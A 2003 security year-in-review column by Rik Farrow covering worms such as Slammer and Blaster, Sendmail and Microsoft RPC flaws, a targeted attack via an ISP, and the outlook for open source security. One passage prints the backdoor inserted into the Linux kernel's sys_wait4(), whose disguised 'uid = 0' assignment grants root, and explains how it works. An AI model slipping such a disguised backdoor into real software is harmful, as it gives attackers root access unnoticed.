musings

by Rik Farrow

Rik Farrow provides UNIX and Internet security consulting and training. He is the author of *UNIX System Security* and *System Administrator's Guide to System V*.

rik@spirit.com

As usual, 2003 was a bad year for security. No surprise there, as I think we all are just waiting for the next "bad thing" to fall out of the network.

January brought Slammer, the world's first flash worm. With a one-UDP-packet payload, Slammer spread with amazing speed, doubling its rate of infection every 8.5 seconds for the first 10 minutes. Even though Slammer attacked a UDP port that should never be open through a firewall, it managed to penetrate even bank networks, as well as parts of the "critical infrastructure." If nothing else, Slammer was a reminder of how porous our network perimeters have become. Or, that we no longer really have network perimeters.

March brought Spring, and with it, two new Sendmail vulnerabilities. These sent UNIX sysadmins scrambling to find any versions of Sendmail running on their networks. The simultaneous forced upgrade to a new version of the configuration file simply made the patch more difficult for many. In an ideal world, all systems would be running the latest version of Sendmail anyway, so no config file upgrade would be necessary. But we don't live in an ideal world, do we?

Summer brought with it West Nile Virus, as well as SoBig and Blaster. SoBig.F used bugs in IE that should have been patched at least two years before. Microsoft had put out patches for those bugs, but there were still 30 *other* extant IE bugs until the IE megapatch that came out in November. SoBig.F also allegedly used the lure of porn to start its spread.

And Blaster? Blaster displays the classic features of current worms. Security researchers find a problem in MS code, work up an exploit as a means of proving said flaw, and report it to MS. MS spends six weeks "perfecting" the patch, then announces it. The security researchers, LSD (Last Stage of Delirium) never post the exploits, which allegedly can even take down Win3K with its buffer overflow protection, but a Chinese group posts dcom.c, which works against Win2K. Several days later, an anonymous party launches Blaster, which whips its way across the Internet. Just coincidently, the eastern United States experiences the largest blackout to occur in decades while Blaster spreads. Technicians at First Energy, the starting point for the cascading failure, do not get notified of problems in their part of the grid because of "computer failure."

In September, Microsoft posts a second patch that fixes five more problems in RPC, the same module exploited by Blaster. It seems that as soon as MS put out the first patch, people (like those working on the Nessus project) discovered more vulnerabilities in RPC. Microsoft did discover a couple of these problems on their own, but not all of them, in a module for which they had just spent six weeks designing a patch.

While all of this is happening, targeted attacks continue. Targeted attacks are the real Internet menace, not worms or viruses. While MS blunders might get most of the press, people are making real money stealing intellectual property and financial data over the Internet. These attacks result in billions of dollars changing hands every year, yet they go largely unnoticed. Why? Most organizations don't learn of the attacks until after the disaster occurs, and then are quite unwilling to appear as victims. Perhaps some honest organization should come forward and confess, just to make others more aware of the issues.

Someone shared a story about a targeted attack with me this fall and allowed me to share some of the general details. The attacker was after some financial data that would provide a considerable advantage. Rather than attempting to penetrate the targeted company, the attacker instead went after the target's ISP. After exploiting a single Windows system, the attacker leveraged that attack to gain access to an account with domain administrator's privilege. Using that privilege, the attacker now had access to the hidden shares that are turned on by default in every Windows system in the NT lineage. The attacker then captured some email from an executive at the target company that contained the desired (not encrypted!) information. A classic targeted attack, and one that netted the perpetrators a very large amount of money.

Also in November, someone broke into a server at *kernel.kbits.net* and inserted the following code into the Linux kernel:

```
if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
        retval = -EINVAL;
```

(Note the assignment of 0 to the current->uid rather than a comparison against 0 as might be expected.)

The unauthenticated change in the source code for sys_wait4() was noticed by Larry McVoy, who was mostly annoyed by it. It took a little while before someone realized that this small change could upgrade a process to root after a system call that resulted in a wait. The change was not propagated to any public source tree, but was the first attempt noticed. In December, two other Linux archive sites also noticed changes in CVS files, but fixed those changes before more than a handful of people downloaded those files.

The Future

One would hope that the future would appear to be more cheery. Sorry, but it just doesn't look too good to me.

Apple's shiny new MacOS X now has security holes without corresponding security patches. While Apple dithers in providing patches, an unnamed security researcher claims to have discovered over 200 local elevations of privilege (ways to become root) in 10.3.

Microsoft's shiny, but no longer new, Trustworthy Computing initiative appears to have had little effect. We hear that Windows 2003 (Win3K) has new security features that make it much more secure than previous versions, but that assertion has not yet been put to the test. When MS announced a similar claim for Win2K, servers put on the Internet as demos suffered numerous "power failures." Adding insult to injury, some Linux PowerPC people put a Linux server up, posted the root password, and offered to give the computer to anyone who could exploit it. No one did in two weeks, when the system was taken down because their ISP was being attacked.

Microsoft is trying to do better. Their current problem lies in old code. The RPC vulnerabilities are a good example. This is code that appears across the entire NT lineage, including Win3K, because it dates from that time. While Microsoft is working hard at writing better code now, that does not mean that old code is magically better.

We are seeing determined attempts at backdooring open source code. And we still see problems with open source code, even in key security applications such as OpenSSH, OpenSSL, and Apache. Writing secure code that actually works has turned out to be more difficult than anyone imagined.

I still believe it is possible to design secure systems, but only by keeping them simple, or through careful compartmentalization (think jails and chroot). Microsoft is not going down this path, but the move in this direction in the open source community is not especially strong either. At least it does exist.

Some people quip that if open source was as popular as Windows, it would have as many killer worms and vulnerabilities. No doubt there is some truth in this. But I do believe that open source has a better chance of being more secure by having many dedicated people poring over every change to the source tree.